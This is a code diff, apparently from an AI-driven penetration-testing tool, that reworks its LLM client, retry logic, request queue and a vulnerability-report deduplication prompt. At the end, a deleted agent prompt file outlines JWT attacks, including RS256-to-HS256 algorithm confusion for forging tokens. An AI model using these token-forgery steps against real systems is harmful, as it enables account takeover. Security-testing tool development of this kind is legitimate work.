update_msg = f"[bold cyan]Progress: {completed}/{total} layers complete"
if update_msg != last_update:
status.update(update_msg)
return update_msg
elif "status" in line and "id" not in line:
global_status = line["status"]
if "Pulling from" in global_status:
status.update("[bold cyan]Fetching image manifest...")
elif "Digest:" in global_status:
status.update("[bold cyan]Verifying image...")
elif "Status:" in global_status:
status.update("[bold cyan]Finalizing...")
return last_update
# LLM utilities
def validate_llm_response(response: Any) -> None:
if not response or not response.choices or not response.choices[0].message.content:
raise RuntimeError("Invalid response from LLM")
+9 -2
View File
@@ -1,12 +1,19 @@
import logging
import warnings
import litellm import litellm
from .config import LLMConfig from .config import LLMConfig
from .llm import LLM from .llm import LLM, LLMRequestFailedError
__all__ = [ __all__ = [
"LLM", "LLM",
"LLMConfig", "LLMConfig",
"LLMRequestFailedError",
] ]
litellm.drop_params = True litellm._logging._disable_debugging()
logging.getLogger("asyncio").setLevel(logging.CRITICAL)
logging.getLogger("asyncio").propagate = False
warnings.filterwarnings("ignore", category=RuntimeWarning, module="asyncio")
+10 -6
View File
@@ -1,19 +1,23 @@
import os from strix.config import Config
class LLMConfig: class LLMConfig:
def __init__( def __init__(
self, self,
model_name: str | None = None, model_name: str | None = None,
temperature: float = 0,
enable_prompt_caching: bool = True, enable_prompt_caching: bool = True,
prompt_modules: list[str] | None = None, skills: list[str] | None = None,
timeout: int | None = None,
scan_mode: str = "deep",
): ):
self.model_name = model_name or os.getenv("STRIX_LLM", "anthropic/claude-opus-4-1-20250805") self.model_name = model_name or Config.get("strix_llm")
if not self.model_name: if not self.model_name:
raise ValueError("STRIX_LLM environment variable must be set and not empty") raise ValueError("STRIX_LLM environment variable must be set and not empty")
self.temperature = max(0.0, min(1.0, temperature))
self.enable_prompt_caching = enable_prompt_caching self.enable_prompt_caching = enable_prompt_caching
self.prompt_modules = prompt_modules or [] self.skills = skills or []
self.timeout = timeout or int(Config.get("llm_timeout") or "300")
self.scan_mode = scan_mode if scan_mode in ["quick", "standard", "deep"] else "deep"
+218
View File
@@ -0,0 +1,218 @@
import json
import logging
import re
from typing import Any
import litellm
from strix.config import Config
logger = logging.getLogger(__name__)
DEDUPE_SYSTEM_PROMPT = """You are an expert vulnerability report deduplication judge.
Your task is to determine if a candidate vulnerability report describes the SAME vulnerability
as any existing report.
CRITICAL DEDUPLICATION RULES:
1. SAME VULNERABILITY means:
- Same root cause (e.g., "missing input validation" not just "SQL injection")
- Same affected component/endpoint/file (exact match or clear overlap)
- Same exploitation method or attack vector
- Would be fixed by the same code change/patch
2. NOT DUPLICATES if:
- Different endpoints even with same vulnerability type (e.g., SQLi in /login vs /search)
- Different parameters in same endpoint (e.g., XSS in 'name' vs 'comment' field)
- Different root causes (e.g., stored XSS vs reflected XSS in same field)
- Different severity levels due to different impact
- One is authenticated, other is unauthenticated
3. ARE DUPLICATES even if:
- Titles are worded differently
- Descriptions have different level of detail
- PoC uses different payloads but exploits same issue
- One report is more thorough than another
- Minor variations in technical analysis
COMPARISON GUIDELINES:
- Focus on the technical root cause, not surface-level similarities
- Same vulnerability type (SQLi, XSS) doesn't mean duplicate - location matters
- Consider the fix: would fixing one also fix the other?
- When uncertain, lean towards NOT duplicate
FIELDS TO ANALYZE:
- title, description: General vulnerability info
- target, endpoint, method: Exact location of vulnerability
- technical_analysis: Root cause details
- poc_description: How it's exploited
- impact: What damage it can cause
YOU MUST RESPOND WITH EXACTLY THIS XML FORMAT AND NOTHING ELSE:
<dedupe_result>
<is_duplicate>true</is_duplicate>
<duplicate_id>vuln-0001</duplicate_id>
<confidence>0.95</confidence>
<reason>Both reports describe SQL injection in /api/login via the username parameter</reason>
</dedupe_result>
OR if not a duplicate:
<dedupe_result>
<is_duplicate>false</is_duplicate>
<duplicate_id></duplicate_id>
<confidence>0.90</confidence>
<reason>Different endpoints: candidate is /api/search, existing is /api/login</reason>
</dedupe_result>
RULES:
- is_duplicate MUST be exactly "true" or "false" (lowercase)
- duplicate_id MUST be the exact ID from existing reports or empty if not duplicate
- confidence MUST be a decimal (your confidence level in the decision)
- reason MUST be a specific explanation mentioning endpoint/parameter/root cause
- DO NOT include any text outside the <dedupe_result> tags"""
def _prepare_report_for_comparison(report: dict[str, Any]) -> dict[str, Any]:
relevant_fields = [
"id",
"title",
"description",
"impact",
"target",
"technical_analysis",
"poc_description",
"endpoint",
"method",
]
cleaned = {}
for field in relevant_fields:
if report.get(field):
value = report[field]
if isinstance(value, str) and len(value) > 8000:
value = value[:8000] + "...[truncated]"
cleaned[field] = value
return cleaned
def _extract_xml_field(content: str, field: str) -> str:
pattern = rf"<{field}>(.*?)</{field}>"
match = re.search(pattern, content, re.DOTALL | re.IGNORECASE)
if match:
return match.group(1).strip()
return ""
def _parse_dedupe_response(content: str) -> dict[str, Any]:
result_match = re.search(
r"<dedupe_result>(.*?)</dedupe_result>", content, re.DOTALL | re.IGNORECASE
)
if not result_match:
logger.warning(f"No <dedupe_result> block found in response: {content[:500]}")
raise ValueError("No <dedupe_result> block found in response")
result_content = result_match.group(1)
is_duplicate_str = _extract_xml_field(result_content, "is_duplicate")
duplicate_id = _extract_xml_field(result_content, "duplicate_id")
confidence_str = _extract_xml_field(result_content, "confidence")
reason = _extract_xml_field(result_content, "reason")
is_duplicate = is_duplicate_str.lower() == "true"
try:
confidence = float(confidence_str) if confidence_str else 0.0
except ValueError:
confidence = 0.0
return {
"is_duplicate": is_duplicate,
"duplicate_id": duplicate_id[:64] if duplicate_id else "",
"confidence": confidence,
"reason": reason[:500] if reason else "",
}
def check_duplicate(
candidate: dict[str, Any], existing_reports: list[dict[str, Any]]
) -> dict[str, Any]:
if not existing_reports:
return {
"is_duplicate": False,
"duplicate_id": "",
"confidence": 1.0,
"reason": "No existing reports to compare against",
}
try:
candidate_cleaned = _prepare_report_for_comparison(candidate)
existing_cleaned = [_prepare_report_for_comparison(r) for r in existing_reports]
comparison_data = {"candidate": candidate_cleaned, "existing_reports": existing_cleaned}
model_name = Config.get("strix_llm")
api_key = Config.get("llm_api_key")
api_base = (
Config.get("llm_api_base")
or Config.get("openai_api_base")
or Config.get("litellm_base_url")
or Config.get("ollama_api_base")
)
messages = [
{"role": "system", "content": DEDUPE_SYSTEM_PROMPT},
{
"role": "user",
"content": (
f"Compare this candidate vulnerability against existing reports:\n\n"
f"{json.dumps(comparison_data, indent=2)}\n\n"
f"Respond with ONLY the <dedupe_result> XML block."
),
},
]
completion_kwargs: dict[str, Any] = {
"model": model_name,
"messages": messages,
"timeout": 120,
"temperature": 0,
}
if api_key:
completion_kwargs["api_key"] = api_key
if api_base:
completion_kwargs["api_base"] = api_base
response = litellm.completion(**completion_kwargs)
content = response.choices[0].message.content
if not content:
return {
"is_duplicate": False,
"duplicate_id": "",
"confidence": 0.0,
"reason": "Empty response from LLM",
}
result = _parse_dedupe_response(content)
logger.info(
f"Deduplication check: is_duplicate={result['is_duplicate']}, "
f"confidence={result['confidence']}, reason={result['reason'][:100]}"
)
except Exception as e:
logger.exception("Error during vulnerability deduplication check")
return {
"is_duplicate": False,
"duplicate_id": "",
"confidence": 0.0,
"reason": f"Deduplication check failed: {e}",
"error": str(e),
}
else:
return result
+291 -66
View File
@@ -1,5 +1,6 @@
import asyncio
import logging import logging
import os from collections.abc import AsyncIterator
from dataclasses import dataclass from dataclasses import dataclass
from enum import Enum from enum import Enum
from pathlib import Path from pathlib import Path
@@ -11,22 +12,55 @@ from jinja2 import (
FileSystemLoader, FileSystemLoader,
select_autoescape, select_autoescape,
) )
from litellm import ModelResponse, completion_cost from litellm import completion_cost, stream_chunk_builder, supports_reasoning
from litellm.utils import supports_prompt_caching from litellm.utils import supports_prompt_caching, supports_vision
from strix.config import Config
from strix.llm.config import LLMConfig from strix.llm.config import LLMConfig
from strix.llm.memory_compressor import MemoryCompressor from strix.llm.memory_compressor import MemoryCompressor
from strix.llm.request_queue import get_global_queue from strix.llm.request_queue import get_global_queue
from strix.llm.utils import _truncate_to_first_function, parse_tool_invocations from strix.llm.utils import _truncate_to_first_function, parse_tool_invocations
from strix.prompts import load_prompt_modules from strix.skills import load_skills
from strix.tools import get_tools_prompt from strix.tools import get_tools_prompt
MAX_RETRIES = 5
RETRY_MULTIPLIER = 8
RETRY_MIN = 8
RETRY_MAX = 64
def _should_retry(exception: Exception) -> bool:
status_code = None
if hasattr(exception, "status_code"):
status_code = exception.status_code
elif hasattr(exception, "response") and hasattr(exception.response, "status_code"):
status_code = exception.response.status_code
if status_code is not None:
return bool(litellm._should_retry(status_code))
return True
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
api_key = os.getenv("LLM_API_KEY") litellm.drop_params = True
if api_key: litellm.modify_params = True
litellm.api_key = api_key
_LLM_API_KEY = Config.get("llm_api_key")
_LLM_API_BASE = (
Config.get("llm_api_base")
or Config.get("openai_api_base")
or Config.get("litellm_base_url")
or Config.get("ollama_api_base")
)
_STRIX_REASONING_EFFORT = Config.get("strix_reasoning_effort")
class LLMRequestFailedError(Exception):
def __init__(self, message: str, details: str | None = None):
super().__init__(message)
self.message = message
self.details = details
class StepRole(str, Enum): class StepRole(str, Enum):
@@ -42,6 +76,7 @@ class LLMResponse:
scan_id: str | None = None scan_id: str | None = None
step_number: int = 1 step_number: int = 1
role: StepRole = StepRole.AGENT role: StepRole = StepRole.AGENT
thinking_blocks: list[dict[str, Any]] | None = None # For reasoning models.
@dataclass @dataclass
@@ -67,38 +102,52 @@ class RequestStats:
class LLM: class LLM:
def __init__(self, config: LLMConfig, agent_name: str | None = None): def __init__(
self, config: LLMConfig, agent_name: str | None = None, agent_id: str | None = None
):
self.config = config self.config = config
self.agent_name = agent_name self.agent_name = agent_name
self.agent_id = agent_id
self._total_stats = RequestStats() self._total_stats = RequestStats()
self._last_request_stats = RequestStats() self._last_request_stats = RequestStats()
self.memory_compressor = MemoryCompressor() if _STRIX_REASONING_EFFORT:
self._reasoning_effort = _STRIX_REASONING_EFFORT
elif self.config.scan_mode == "quick":
self._reasoning_effort = "medium"
else:
self._reasoning_effort = "high"
self.memory_compressor = MemoryCompressor(
model_name=self.config.model_name,
timeout=self.config.timeout,
)
if agent_name: if agent_name:
prompt_dir = Path(__file__).parent.parent / "agents" / agent_name prompt_dir = Path(__file__).parent.parent / "agents" / agent_name
prompts_dir = Path(__file__).parent.parent / "prompts" skills_dir = Path(__file__).parent.parent / "skills"
loader = FileSystemLoader([prompt_dir, prompts_dir]) loader = FileSystemLoader([prompt_dir, skills_dir])
self.jinja_env = Environment( self.jinja_env = Environment(
loader=loader, loader=loader,
autoescape=select_autoescape(enabled_extensions=(), default_for_string=False), autoescape=select_autoescape(enabled_extensions=(), default_for_string=False),
) )
try: try:
prompt_module_content = load_prompt_modules( skills_to_load = list(self.config.skills or [])
self.config.prompt_modules or [], self.jinja_env skills_to_load.append(f"scan_modes/{self.config.scan_mode}")
)
def get_module(name: str) -> str: skill_content = load_skills(skills_to_load, self.jinja_env)
return prompt_module_content.get(name, "")
self.jinja_env.globals["get_module"] = get_module def get_skill(name: str) -> str:
return skill_content.get(name, "")
self.jinja_env.globals["get_skill"] = get_skill
self.system_prompt = self.jinja_env.get_template("system_prompt.jinja").render( self.system_prompt = self.jinja_env.get_template("system_prompt.jinja").render(
get_tools_prompt=get_tools_prompt, get_tools_prompt=get_tools_prompt,
loaded_module_names=list(prompt_module_content.keys()), loaded_skill_names=list(skill_content.keys()),
**prompt_module_content, **skill_content,
) )
except (FileNotFoundError, OSError, ValueError) as e: except (FileNotFoundError, OSError, ValueError) as e:
logger.warning(f"Failed to load system prompt for {agent_name}: {e}") logger.warning(f"Failed to load system prompt for {agent_name}: {e}")
@@ -106,6 +155,31 @@ class LLM:
else: else:
self.system_prompt = "You are a helpful AI assistant." self.system_prompt = "You are a helpful AI assistant."
def set_agent_identity(self, agent_name: str | None, agent_id: str | None) -> None:
if agent_name:
self.agent_name = agent_name
if agent_id:
self.agent_id = agent_id
def _build_identity_message(self) -> dict[str, Any] | None:
if not (self.agent_name and str(self.agent_name).strip()):
return None
identity_name = self.agent_name
identity_id = self.agent_id
content = (
"\n\n"
"<agent_identity>\n"
"<meta>Internal metadata: do not echo or reference; "
"not part of history or tool calls.</meta>\n"
"<note>You are now assuming the role of this agent. "
"Act strictly as this agent and maintain self-identity for this step. "
"Now go answer the next needed step!</note>\n"
f"<agent_name>{identity_name}</agent_name>\n"
f"<agent_id>{identity_id}</agent_id>\n"
"</agent_identity>\n\n"
)
return {"role": "user", "content": content}
def _add_cache_control_to_content( def _add_cache_control_to_content(
self, content: str | list[dict[str, Any]] self, content: str | list[dict[str, Any]]
) -> str | list[dict[str, Any]]: ) -> str | list[dict[str, Any]]:
@@ -173,59 +247,143 @@ class LLM:
return cached_messages return cached_messages
async def generate( def _prepare_messages(self, conversation_history: list[dict[str, Any]]) -> list[dict[str, Any]]:
self,
conversation_history: list[dict[str, Any]],
scan_id: str | None = None,
step_number: int = 1,
) -> LLMResponse:
messages = [{"role": "system", "content": self.system_prompt}] messages = [{"role": "system", "content": self.system_prompt}]
identity_message = self._build_identity_message()
if identity_message:
messages.append(identity_message)
compressed_history = list(self.memory_compressor.compress_history(conversation_history)) compressed_history = list(self.memory_compressor.compress_history(conversation_history))
conversation_history.clear() conversation_history.clear()
conversation_history.extend(compressed_history) conversation_history.extend(compressed_history)
messages.extend(compressed_history) messages.extend(compressed_history)
cached_messages = self._prepare_cached_messages(messages) return self._prepare_cached_messages(messages)
try: async def _stream_and_accumulate(
response = await self._make_request(cached_messages) self,
self._update_usage_stats(response) messages: list[dict[str, Any]],
scan_id: str | None,
step_number: int,
) -> AsyncIterator[LLMResponse]:
accumulated_content = ""
chunks: list[Any] = []
content = "" async for chunk in self._stream_request(messages):
chunks.append(chunk)
delta = self._extract_chunk_delta(chunk)
if delta:
accumulated_content += delta
if "</function>" in accumulated_content:
function_end = accumulated_content.find("</function>") + len("</function>")
accumulated_content = accumulated_content[:function_end]
yield LLMResponse(
scan_id=scan_id,
step_number=step_number,
role=StepRole.AGENT,
content=accumulated_content,
tool_invocations=None,
)
if chunks:
complete_response = stream_chunk_builder(chunks)
self._update_usage_stats(complete_response)
accumulated_content = _truncate_to_first_function(accumulated_content)
if "</function>" in accumulated_content:
function_end = accumulated_content.find("</function>") + len("</function>")
accumulated_content = accumulated_content[:function_end]
tool_invocations = parse_tool_invocations(accumulated_content)
# Extract thinking blocks from the complete response if available
thinking_blocks = None
if chunks and self._should_include_reasoning_effort():
complete_response = stream_chunk_builder(chunks)
if ( if (
response.choices hasattr(complete_response, "choices")
and hasattr(response.choices[0], "message") and complete_response.choices
and response.choices[0].message and hasattr(complete_response.choices[0], "message")
): ):
content = getattr(response.choices[0].message, "content", "") or "" message = complete_response.choices[0].message
if hasattr(message, "thinking_blocks") and message.thinking_blocks:
thinking_blocks = message.thinking_blocks
content = _truncate_to_first_function(content) yield LLMResponse(
scan_id=scan_id,
step_number=step_number,
role=StepRole.AGENT,
content=accumulated_content,
tool_invocations=tool_invocations if tool_invocations else None,
thinking_blocks=thinking_blocks,
)
if "</function>" in content: def _raise_llm_error(self, e: Exception) -> None:
function_end_index = content.find("</function>") + len("</function>") error_map: list[tuple[type, str]] = [
content = content[:function_end_index] (litellm.RateLimitError, "Rate limit exceeded"),
(litellm.AuthenticationError, "Invalid API key"),
(litellm.NotFoundError, "Model not found"),
(litellm.ContextWindowExceededError, "Context too long"),
(litellm.ContentPolicyViolationError, "Content policy violation"),
(litellm.ServiceUnavailableError, "Service unavailable"),
(litellm.Timeout, "Request timed out"),
(litellm.UnprocessableEntityError, "Unprocessable entity"),
(litellm.InternalServerError, "Internal server error"),
(litellm.APIConnectionError, "Connection error"),
(litellm.UnsupportedParamsError, "Unsupported parameters"),
(litellm.BudgetExceededError, "Budget exceeded"),
(litellm.APIResponseValidationError, "Response validation error"),
(litellm.JSONSchemaValidationError, "JSON schema validation error"),
(litellm.InvalidRequestError, "Invalid request"),
(litellm.BadRequestError, "Bad request"),
(litellm.APIError, "API error"),
(litellm.OpenAIError, "OpenAI error"),
]
tool_invocations = parse_tool_invocations(content) from strix.telemetry import posthog
return LLMResponse( for error_type, message in error_map:
scan_id=scan_id, if isinstance(e, error_type):
step_number=step_number, posthog.error(f"llm_{error_type.__name__}", message)
role=StepRole.AGENT, raise LLMRequestFailedError(f"LLM request failed: {message}", str(e)) from e
content=content,
tool_invocations=tool_invocations if tool_invocations else None,
)
except (ValueError, TypeError, RuntimeError): posthog.error("llm_unknown_error", type(e).__name__)
logger.exception("Error in LLM generation") raise LLMRequestFailedError(f"LLM request failed: {type(e).__name__}", str(e)) from e
return LLMResponse(
scan_id=scan_id, async def generate(
step_number=step_number, self,
role=StepRole.AGENT, conversation_history: list[dict[str, Any]],
content="An error occurred while generating the response", scan_id: str | None = None,
tool_invocations=None, step_number: int = 1,
) ) -> AsyncIterator[LLMResponse]:
messages = self._prepare_messages(conversation_history)
last_error: Exception | None = None
for attempt in range(MAX_RETRIES):
try:
async for response in self._stream_and_accumulate(messages, scan_id, step_number):
yield response
return # noqa: TRY300
except Exception as e: # noqa: BLE001
last_error = e
if not _should_retry(e) or attempt == MAX_RETRIES - 1:
break
wait_time = min(RETRY_MAX, RETRY_MULTIPLIER * (2**attempt))
wait_time = max(RETRY_MIN, wait_time)
await asyncio.sleep(wait_time)
if last_error:
self._raise_llm_error(last_error)
def _extract_chunk_delta(self, chunk: Any) -> str:
if chunk.choices and hasattr(chunk.choices[0], "delta"):
delta = chunk.choices[0].delta
return getattr(delta, "content", "") or ""
return ""
@property @property
def usage_stats(self) -> dict[str, dict[str, int | float]]: def usage_stats(self) -> dict[str, dict[str, int | float]]:
@@ -240,26 +398,93 @@ class LLM:
"supported": supports_prompt_caching(self.config.model_name), "supported": supports_prompt_caching(self.config.model_name),
} }
async def _make_request( def _should_include_reasoning_effort(self) -> bool:
if not self.config.model_name:
return False
try:
return bool(supports_reasoning(model=self.config.model_name))
except Exception: # noqa: BLE001
return False
def _model_supports_vision(self) -> bool:
if not self.config.model_name:
return False
try:
return bool(supports_vision(model=self.config.model_name))
except Exception: # noqa: BLE001
return False
def _filter_images_from_messages(self, messages: list[dict[str, Any]]) -> list[dict[str, Any]]:
filtered_messages = []
for msg in messages:
content = msg.get("content")
updated_msg = msg
if isinstance(content, list):
filtered_content = []
for item in content:
if isinstance(item, dict):
if item.get("type") == "image_url":
filtered_content.append(
{
"type": "text",
"text": "[Screenshot removed - model does not support "
"vision. Use view_source or execute_js instead.]",
}
)
else:
filtered_content.append(item)
else:
filtered_content.append(item)
if filtered_content:
text_parts = [
item.get("text", "") if isinstance(item, dict) else str(item)
for item in filtered_content
]
all_text = all(
isinstance(item, dict) and item.get("type") == "text"
for item in filtered_content
)
if all_text:
updated_msg = {**msg, "content": "\n".join(text_parts)}
else:
updated_msg = {**msg, "content": filtered_content}
else:
updated_msg = {**msg, "content": ""}
filtered_messages.append(updated_msg)
return filtered_messages
async def _stream_request(
self, self,
messages: list[dict[str, Any]], messages: list[dict[str, Any]],
) -> ModelResponse: ) -> AsyncIterator[Any]:
completion_args = { if not self._model_supports_vision():
messages = self._filter_images_from_messages(messages)
completion_args: dict[str, Any] = {
"model": self.config.model_name, "model": self.config.model_name,
"messages": messages, "messages": messages,
"temperature": self.config.temperature, "timeout": self.config.timeout,
"stop": ["</function>"], "stream_options": {"include_usage": True},
} }
queue = get_global_queue() if _LLM_API_KEY:
response = await queue.make_request(completion_args) completion_args["api_key"] = _LLM_API_KEY
if _LLM_API_BASE:
completion_args["api_base"] = _LLM_API_BASE
completion_args["stop"] = ["</function>"]
if self._should_include_reasoning_effort():
completion_args["reasoning_effort"] = self._reasoning_effort
queue = get_global_queue()
self._total_stats.requests += 1 self._total_stats.requests += 1
self._last_request_stats = RequestStats(requests=1) self._last_request_stats = RequestStats(requests=1)
return response async for chunk in queue.stream_request(completion_args):
yield chunk
def _update_usage_stats(self, response: ModelResponse) -> None: def _update_usage_stats(self, response: Any) -> None:
try: try:
if hasattr(response, "usage") and response.usage: if hasattr(response, "usage") and response.usage:
input_tokens = getattr(response.usage, "prompt_tokens", 0) input_tokens = getattr(response.usage, "prompt_tokens", 0)
@@ -284,7 +509,7 @@ class LLM:
try: try:
cost = completion_cost(response) or 0.0 cost = completion_cost(response) or 0.0
except (ValueError, TypeError, RuntimeError) as e: except Exception as e: # noqa: BLE001
logger.warning(f"Failed to calculate cost: {e}") logger.warning(f"Failed to calculate cost: {e}")
cost = 0.0 cost = 0.0
@@ -306,5 +531,5 @@ class LLM:
logger.info(f"Cache creation: {cache_creation_tokens} tokens written to cache") logger.info(f"Cache creation: {cache_creation_tokens} tokens written to cache")
logger.info(f"Usage stats: {self.usage_stats}") logger.info(f"Usage stats: {self.usage_stats}")
except (AttributeError, TypeError, ValueError) as e: except Exception as e: # noqa: BLE001
logger.warning(f"Failed to update usage stats: {e}") logger.warning(f"Failed to update usage stats: {e}")
+11 -4
View File
@@ -1,9 +1,10 @@
import logging import logging
import os
from typing import Any from typing import Any
import litellm import litellm
from strix.config import Config
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@@ -85,6 +86,7 @@ def _extract_message_text(msg: dict[str, Any]) -> str:
def _summarize_messages( def _summarize_messages(
messages: list[dict[str, Any]], messages: list[dict[str, Any]],
model: str, model: str,
timeout: int = 600,
) -> dict[str, Any]: ) -> dict[str, Any]:
if not messages: if not messages:
empty_summary = "<context_summary message_count='0'>{text}</context_summary>" empty_summary = "<context_summary message_count='0'>{text}</context_summary>"
@@ -106,10 +108,13 @@ def _summarize_messages(
completion_args = { completion_args = {
"model": model, "model": model,
"messages": [{"role": "user", "content": prompt}], "messages": [{"role": "user", "content": prompt}],
"timeout": timeout,
} }
response = litellm.completion(**completion_args) response = litellm.completion(**completion_args)
summary = response.choices[0].message.content summary = response.choices[0].message.content or ""
if not summary.strip():
return messages[0]
summary_msg = "<context_summary message_count='{count}'>{text}</context_summary>" summary_msg = "<context_summary message_count='{count}'>{text}</context_summary>"
return { return {
"role": "assistant", "role": "assistant",
@@ -143,9 +148,11 @@ class MemoryCompressor:
self, self,
max_images: int = 3, max_images: int = 3,
model_name: str | None = None, model_name: str | None = None,
timeout: int = 600,
): ):
self.max_images = max_images self.max_images = max_images
self.model_name = model_name or os.getenv("STRIX_LLM", "anthropic/claude-opus-4-1-20250805") self.model_name = model_name or Config.get("strix_llm")
self.timeout = timeout
if not self.model_name: if not self.model_name:
raise ValueError("STRIX_LLM environment variable must be set and not empty") raise ValueError("STRIX_LLM environment variable must be set and not empty")
@@ -199,7 +206,7 @@ class MemoryCompressor:
chunk_size = 10 chunk_size = 10
for i in range(0, len(old_msgs), chunk_size): for i in range(0, len(old_msgs), chunk_size):
chunk = old_msgs[i : i + chunk_size] chunk = old_msgs[i : i + chunk_size]
summary = _summarize_messages(chunk, model_name) summary = _summarize_messages(chunk, model_name, self.timeout)
if summary: if summary:
compressed.append(summary) compressed.append(summary)
+19 -24
View File
@@ -1,25 +1,26 @@
import asyncio import asyncio
import logging
import threading import threading
import time import time
from collections.abc import AsyncIterator
from typing import Any from typing import Any
from litellm import ModelResponse, completion from litellm import acompletion
from tenacity import retry, stop_after_attempt, wait_exponential from litellm.types.utils import ModelResponseStream
from strix.config import Config
logger = logging.getLogger(__name__)
class LLMRequestQueue: class LLMRequestQueue:
def __init__(self, max_concurrent: int = 6, delay_between_requests: float = 1.0): def __init__(self) -> None:
self.max_concurrent = max_concurrent self.delay_between_requests = float(Config.get("llm_rate_limit_delay") or "4.0")
self.delay_between_requests = delay_between_requests self.max_concurrent = int(Config.get("llm_rate_limit_concurrent") or "1")
self._semaphore = threading.BoundedSemaphore(max_concurrent) self._semaphore = threading.BoundedSemaphore(self.max_concurrent)
self._last_request_time = 0.0 self._last_request_time = 0.0
self._lock = threading.Lock() self._lock = threading.Lock()
async def make_request(self, completion_args: dict[str, Any]) -> ModelResponse: async def stream_request(
self, completion_args: dict[str, Any]
) -> AsyncIterator[ModelResponseStream]:
try: try:
while not self._semaphore.acquire(timeout=0.2): while not self._semaphore.acquire(timeout=0.2):
await asyncio.sleep(0.1) await asyncio.sleep(0.1)
@@ -33,24 +34,18 @@ class LLMRequestQueue:
if sleep_needed > 0: if sleep_needed > 0:
await asyncio.sleep(sleep_needed) await asyncio.sleep(sleep_needed)
return await self._reliable_request(completion_args) async for chunk in self._stream_request(completion_args):
yield chunk
finally: finally:
self._semaphore.release() self._semaphore.release()
@retry( # type: ignore[misc] async def _stream_request(
stop=stop_after_attempt(15), self, completion_args: dict[str, Any]
wait=wait_exponential(multiplier=1.2, min=1, max=300), ) -> AsyncIterator[ModelResponseStream]:
reraise=True, response = await acompletion(**completion_args, stream=True)
)
async def _reliable_request(self, completion_args: dict[str, Any]) -> ModelResponse:
response = completion(**completion_args, stream=False)
if isinstance(response, ModelResponse):
return response
self._raise_unexpected_response()
raise RuntimeError("Unreachable code")
def _raise_unexpected_response(self) -> None: async for chunk in response:
raise RuntimeError("Unexpected response type") yield chunk
_global_queue: LLMRequestQueue | None = None _global_queue: LLMRequestQueue | None = None
+15 -2
View File
@@ -1,3 +1,4 @@
import html
import re import re
from typing import Any from typing import Any
@@ -36,6 +37,8 @@ def parse_tool_invocations(content: str) -> list[dict[str, Any]] | None:
for param_match in param_matches: for param_match in param_matches:
param_name = param_match.group(1) param_name = param_match.group(1)
param_value = param_match.group(2).strip() param_value = param_match.group(2).strip()
param_value = html.unescape(param_value)
args[param_name] = param_value args[param_name] = param_value
tool_invocations.append({"toolName": fn_name, "args": args}) tool_invocations.append({"toolName": fn_name, "args": args})
@@ -44,10 +47,14 @@ def parse_tool_invocations(content: str) -> list[dict[str, Any]] | None:
def _fix_stopword(content: str) -> str: def _fix_stopword(content: str) -> str:
if "<function=" in content and content.count("<function=") == 1: if (
"<function=" in content
and content.count("<function=") == 1
and "</function>" not in content
):
if content.endswith("</"): if content.endswith("</"):
content = content.rstrip() + "function>" content = content.rstrip() + "function>"
elif not content.rstrip().endswith("</function>"): else:
content = content + "\n</function>" content = content + "\n</function>"
return content return content
@@ -72,6 +79,12 @@ def clean_content(content: str) -> str:
tool_pattern = r"<function=[^>]+>.*?</function>" tool_pattern = r"<function=[^>]+>.*?</function>"
cleaned = re.sub(tool_pattern, "", content, flags=re.DOTALL) cleaned = re.sub(tool_pattern, "", content, flags=re.DOTALL)
incomplete_tool_pattern = r"<function=[^>]+>.*$"
cleaned = re.sub(incomplete_tool_pattern, "", cleaned, flags=re.DOTALL)
partial_tag_pattern = r"<f(?:u(?:n(?:c(?:t(?:i(?:o(?:n(?:=(?:[^>]*)?)?)?)?)?)?)?)?)?$"
cleaned = re.sub(partial_tag_pattern, "", cleaned)
hidden_xml_patterns = [ hidden_xml_patterns = [
r"<inter_agent_message>.*?</inter_agent_message>", r"<inter_agent_message>.*?</inter_agent_message>",
r"<agent_completion_report>.*?</agent_completion_report>", r"<agent_completion_report>.*?</agent_completion_report>",
-113
View File
@@ -1,113 +0,0 @@
from pathlib import Path
from jinja2 import Environment
def get_available_prompt_modules() -> dict[str, list[str]]:
modules_dir = Path(__file__).parent
available_modules = {}
for category_dir in modules_dir.iterdir():
if category_dir.is_dir() and not category_dir.name.startswith("__"):
category_name = category_dir.name
modules = []
for file_path in category_dir.glob("*.jinja"):
module_name = file_path.stem
modules.append(module_name)
if modules:
available_modules[category_name] = sorted(modules)
return available_modules
def get_all_module_names() -> set[str]:
all_modules = set()
for category_modules in get_available_prompt_modules().values():
all_modules.update(category_modules)
return all_modules
def validate_module_names(module_names: list[str]) -> dict[str, list[str]]:
available_modules = get_all_module_names()
valid_modules = []
invalid_modules = []
for module_name in module_names:
if module_name in available_modules:
valid_modules.append(module_name)
else:
invalid_modules.append(module_name)
return {"valid": valid_modules, "invalid": invalid_modules}
def generate_modules_description() -> str:
available_modules = get_available_prompt_modules()
if not available_modules:
return "No prompt modules available"
description_parts = []
for category, modules in available_modules.items():
modules_str = ", ".join(modules)
description_parts.append(f"{category} ({modules_str})")
description = (
f"List of prompt modules to load for this agent (max 3). "
f"Available modules: {', '.join(description_parts)}. "
)
example_modules = []
for modules in available_modules.values():
example_modules.extend(modules[:2])
if len(example_modules) >= 2:
break
if example_modules:
example = f"Example: {example_modules[:2]} for specialized agent"
description += example
return description
def load_prompt_modules(module_names: list[str], jinja_env: Environment) -> dict[str, str]:
import logging
logger = logging.getLogger(__name__)
module_content = {}
prompts_dir = Path(__file__).parent
available_modules = get_available_prompt_modules()
for module_name in module_names:
try:
module_path = None
if "/" in module_name:
module_path = f"{module_name}.jinja"
else:
for category, modules in available_modules.items():
if module_name in modules:
module_path = f"{category}/{module_name}.jinja"
break
if not module_path:
root_candidate = f"{module_name}.jinja"
if (prompts_dir / root_candidate).exists():
module_path = root_candidate
if module_path and (prompts_dir / module_path).exists():
template = jinja_env.get_template(module_path)
var_name = module_name.split("/")[-1]
module_content[var_name] = template.render()
logger.info(f"Loaded prompt module: {module_name} -> {var_name}")
else:
logger.warning(f"Prompt module not found: {module_name}")
except (FileNotFoundError, OSError, ValueError) as e:
logger.warning(f"Failed to load prompt module {module_name}: {e}")
return module_content
@@ -1,129 +0,0 @@
<authentication_jwt_guide>
<title>AUTHENTICATION & JWT VULNERABILITIES</title>
<critical>Authentication flaws lead to complete account takeover. JWT misconfigurations are everywhere.</critical>
<jwt_structure>
header.payload.signature
- Header: {"alg":"HS256","typ":"JWT"}
- Payload: {"sub":"1234","name":"John","iat":1516239022}
- Signature: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
</jwt_structure>
<common_attacks>
<algorithm_confusion>
RS256 to HS256:
- Change RS256 to HS256 in header
- Use public key as HMAC secret
- Sign token with public key (often in /jwks.json or /.well-known/)
